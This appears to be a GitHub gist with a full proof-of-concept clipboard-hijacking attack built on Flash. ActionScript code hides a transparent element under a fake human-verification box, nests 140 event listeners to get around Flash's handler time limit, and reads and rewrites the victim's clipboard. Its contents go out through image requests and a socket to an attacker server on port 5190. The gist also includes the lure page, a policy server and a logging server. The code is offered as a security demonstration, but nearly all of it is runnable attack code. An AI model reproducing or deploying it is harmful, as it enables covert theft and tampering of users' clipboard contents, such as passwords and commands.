Last active
August 29, 2015 14:26
-
-
Save JordanMilne/7ad2dc114ad0eab5fa7b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
python2 term_echo_server.py & | |
sudo python2 flashpolicyd.py |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
flashpolicyd runs the policy server that tells flash it can access the port for our echo server. | |
term_echo_server just logs whatever it receives to the console. | |
both are python2 and flashpolicyd must run as root unless you have some other way of binding to low ports. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
mxmlc -static-link-runtime-shared-libraries=true persist_jack.mxml |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# flashpolicyd.py | |
# Simple socket policy file server for Flash | |
# | |
# Usage: flashpolicyd.py [--port=N] | |
# | |
# Logs to stderr | |
# Requires Python 2.5 or later | |
from __future__ import with_statement | |
import sys | |
import optparse | |
import socket | |
import thread | |
import exceptions | |
import contextlib | |
VERSION = 0.1 | |
POLICY = """<?xml version="1.0"?> | |
<!DOCTYPE cross-domain-policy SYSTEM "/xml/dtds/cross-domain-policy.dtd"> | |
<cross-domain-policy> | |
<site-control permitted-cross-domain-policies="master-only"/> | |
<!-- Only allow access to our echo server --> | |
<allow-access-from domain="*" to-ports="5190" /> | |
</cross-domain-policy> | |
""" | |
class policy_server(object): | |
def __init__(self, port): | |
self.port = port | |
self.policy = POLICY | |
self.log('Listening on port %d\n' % port) | |
try: | |
self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | |
except AttributeError: | |
# AttributeError catches Python built without IPv6 | |
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
except socket.error: | |
# socket.error catches OS with IPv6 disabled | |
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
self.sock.bind(('', port)) | |
self.sock.listen(5) | |
def run(self): | |
try: | |
while True: | |
thread.start_new_thread(self.handle, self.sock.accept()) | |
except socket.error, e: | |
self.log('Error accepting connection: %s' % (e[1],)) | |
def handle(self, conn, addr): | |
addrstr = '%s:%s' % (addr[0],addr[1]) | |
try: | |
self.log('Connection from %s' % (addrstr,)) | |
with contextlib.closing(conn): | |
# It's possible that we won't get the entire request in | |
# a single recv, but very unlikely. | |
request = conn.recv(1024).strip() | |
if request != '<policy-file-request/>\0': | |
self.log('Unrecognized request from %s: %s' % (addrstr, request)) | |
return | |
self.log('Valid request received from %s' % (addrstr,)) | |
conn.sendall(self.policy) | |
self.log('Sent policy file to %s' % (addrstr,)) | |
except socket.error, e: | |
self.log('Error handling connection from %s: %s' % (addrstr, e[1])) | |
except Exception, e: | |
self.log('Error handling connection from %s: %s' % (addrstr, e[1])) | |
def log(self, str): | |
print >>sys.stderr, str | |
def main(): | |
parser = optparse.OptionParser(usage = '%prog [--port=PORT]', | |
version='%prog ' + str(VERSION)) | |
parser.add_option('-p', '--port', dest='port', type=int, default=843, | |
help='listen on port PORT', metavar='PORT') | |
opts, args = parser.parse_args() | |
if args: | |
parser.error('No arguments are needed. See help.') | |
try: | |
policy_server(opts.port).run() | |
except Exception, e: | |
print >> sys.stderr, e | |
sys.exit(1) | |
except KeyboardInterrupt: | |
pass | |
if __name__ == '__main__': | |
main() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import flash.desktop.*; | |
import flash.display.*; | |
import flash.net.*; | |
import flash.ui.*; | |
import mx.containers.*; | |
import mx.controls.*; | |
import mx.utils.*; | |
protected var lastCB:String = null; | |
protected var leakSocket:Socket = new Socket(); | |
// Called when the application starts | |
protected function init():void { | |
// Set up the paste jacking example | |
// DataGrid receives paste events, so it's a decent candidate. | |
var target:Sprite = new DataGrid(); | |
target.alpha = 0.; | |
// Note that actually *using* the menu sometimes causes a segfault on Linux + PPAPI. | |
// Probably has something to do with the nested sprites. | |
target.contextMenu = new ContextMenu(); | |
target.contextMenu.clipboardMenu = true; | |
target.contextMenu.clipboardItems.paste = true; | |
jackContainer.addChild(wrapInListeners(target, Event.PASTE, tempJackClipboard)); | |
// We're pretending to be a textbox, after all. | |
Mouse.cursor = MouseCursor.IBEAM; | |
// Figure out the hostname the swf was served from and try to set up socket comms | |
var url:String = loaderInfo.url; | |
if(URLUtil.isHttpURL(url) || URLUtil.isHttpsURL(url)) { | |
// Socket.write() is the only way we have of doing synchronous comms | |
// once the page has been navigated away from. Connect to a service | |
// on the attacker's server so we can leak clipboard contents. | |
leakSocket.addEventListener(Event.CONNECT, function(e:Event):void { | |
leakSocket.writeUTFBytes("Logging Clipboard!"); | |
leakSocket.flush(); | |
}); | |
leakSocket.connect(URLUtil.getServerName(url), 5190); | |
} | |
} | |
// Flash checks the call stack to make sure the event in the handler was | |
// actually user initiated, and each event handler is limited to a 60 second | |
// runtime. This only applies to *individual* event handlers, so let's give | |
// the event some more handlers to bubble up to. :) | |
private function wrapInListeners(what:Sprite, eventType:String, handler:Function):Sprite { | |
what.addEventListener(eventType, handler); | |
var highest:Sprite = what; | |
// Wrap the element in HBoxes that will handle the event when it bubbles up. | |
// 140 arrived at as the max nesting limit through experimentation. | |
for(var i:int = 0; i < 140; ++i) { | |
var hbox:HBox = new HBox(); | |
hbox.addChild(highest); | |
hbox.addEventListener(eventType, handler); | |
highest = hbox; | |
} | |
return highest; | |
} | |
protected function getCB():String { | |
var ret:String = Clipboard.generalClipboard.getData(ClipboardFormats.TEXT_FORMAT) as String; | |
return ret; | |
} | |
protected function setCB(str:String):void { | |
Clipboard.generalClipboard.setData(ClipboardFormats.TEXT_FORMAT, str); | |
lastCB = str; | |
} | |
// Jacks the clipboard for 10 seconds, then bubbles up | |
protected function tempJackClipboard(e:Event):void { | |
__syncExecEvery(function():void { | |
// the current clipboard | |
var currCB:String = getCB(); | |
if(currCB != lastCB) { | |
lastCB = currCB; | |
// try to exfiltrate the clipboard contents | |
leakData(currCB); | |
// Demonstrate clipboard rewriting after the page has closed. | |
// Lots of funny possibilities for this, like selectively | |
// rewriting commands or adding the e flag to regexes | |
// Wrap in a try since Firefox won't let us do this here. | |
try { | |
setCB(currCB + "AHHHHHHHH"); | |
} catch(e:Error) {} | |
} | |
}, 100, 10000); | |
} | |
// exfiltrate the data by any means necessary | |
protected function leakData(text:String):void { | |
var encoded:String = encodeURIComponent(text); | |
try { | |
ExternalInterface.call("console.log", "leaking..."); | |
// If the call to JS failed, the user has navigated away from | |
// the page. `.available` lies :( | |
var jsFailed:Boolean = true; | |
try { | |
if(ExternalInterface.available) { | |
ExternalInterface.call("leakClipboard", encoded).toString(); | |
jsFailed = false; | |
} | |
} catch(e:Error) {} | |
// This is only to be used once we no longer have a page context | |
// and can only be used ONCE. After the first flush(), subsequent | |
// flush()es will fail with the PPAPI version of Flash. This doesn't | |
// seem to apply to the NPAPI version (maybe just a Flash 11.2 / 12 | |
// difference?) | |
if(jsFailed && leakSocket.connected) { | |
leakSocket.writeUTFBytes(encoded); | |
leakSocket.flush(); | |
} | |
// Other possible avenues of leaking may be available after this, | |
// like storing clipboard contents in an LSO until the victim | |
// visits another page with an SWF from this domain embedded. | |
} catch(e:Error) {} | |
} | |
// Execute `what` every `every`ms until `limit`ms have passed. | |
// Basically, a synchronous setInterval with a total time limit. | |
private static function __syncExecEvery(what:Function, every:Number, limit:Number):void { | |
var target:Date = new Date(); | |
target.time += limit; | |
while((new Date()) < target) { | |
var partialTarget:Date = new Date(); | |
partialTarget.time += every; | |
if(partialTarget > target) | |
partialTarget = target; | |
while((new Date()) < partialTarget) { 1; } | |
ExternalInterface.call("console.log", "tick..."); | |
try { | |
what(); | |
} catch(e:Error) {} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
var firstCall = true; | |
function leakClipboard(clipVal) { | |
// Send the flash to Narnia, we're done with it. | |
var flashStyle = document.getElementById('jackFlash').style; | |
flashStyle.left = -9999; | |
flashStyle.top = -9999; | |
var decoded = decodeURIComponent(clipVal); | |
// populate the verification field with what they thought would be there. | |
if(firstCall) { | |
fakeInput.value = decoded; | |
fakeInput.focus(); | |
firstCall = false; | |
} | |
// lazy way of showing we can still do reqs with JS when Flash blocks | |
var img = new Image(); | |
img.src = '/?thing=' + clipVal; | |
document.getElementById('leaklog').value += decoded + "\n"; | |
return "still alive"; | |
} | |
</script> | |
<style> | |
#jackFlash { | |
position:absolute; | |
left:3px; | |
top: 4px; | |
} | |
</style> | |
</head> | |
<body> | |
<p><b>This PoC mostly only works on Chrome and has a habit of crashing browsers. You've been warned!</b></p> | |
<p>Are you a human? Please place the following text in the verification box</p> | |
<!-- Something complicated so they're less likely to type it out --> | |
<pre id="copyTarget">F7&;*2fdAvzAghaXbas,.</pre> | |
Verification: | |
<div style="position:relative"> | |
<object id="jackFlash" data="persist_jack.swf" type="application/x-shockwave-flash" width="149px" height="18px"> | |
<!-- wmode: transparent would be nice, but doesn't seem to work? --> | |
<param name="wmode" value="opaque"> | |
<param name="AllowScriptAccess" value="always"> | |
</object> | |
<input id="fakeInput" type="text" /> | |
</div> | |
<br/> | |
<button onclick="alert('not for this demo.');">Continue</button> | |
<br/> | |
<p>Leaked:</p> | |
<textarea rows="30" cols="120" id="leaklog"></textarea> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?xml version="1.0" encoding="utf-8"?> | |
<s:Application xmlns:fx="http://ns.adobe.com/mxml/2009" | |
xmlns:s="library://ns.adobe.com/flex/spark" | |
xmlns:mx="library://ns.adobe.com/flex/mx" | |
scriptTimeLimit="60" | |
applicationComplete="init();"> | |
<fx:Script source="persist_jack.as" /> | |
<mx:HBox id="jackContainer"> | |
</mx:HBox> | |
</s:Application> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
A boneheaded server that echos everything received to the console. | |
""" | |
from twisted.internet import reactor, protocol | |
from twisted.python import log | |
import sys | |
class Echo(protocol.Protocol): | |
"""This is just about the simplest possible protocol""" | |
def dataReceived(self, data): | |
"As soon as any data is received, write it to stdout." | |
print data | |
def main(): | |
log.startLogging(sys.stdout) | |
factory = protocol.ServerFactory() | |
factory.protocol = Echo | |
reactor.listenTCP(5190,factory) | |
reactor.run() | |
# this only runs if the module was *not* imported | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment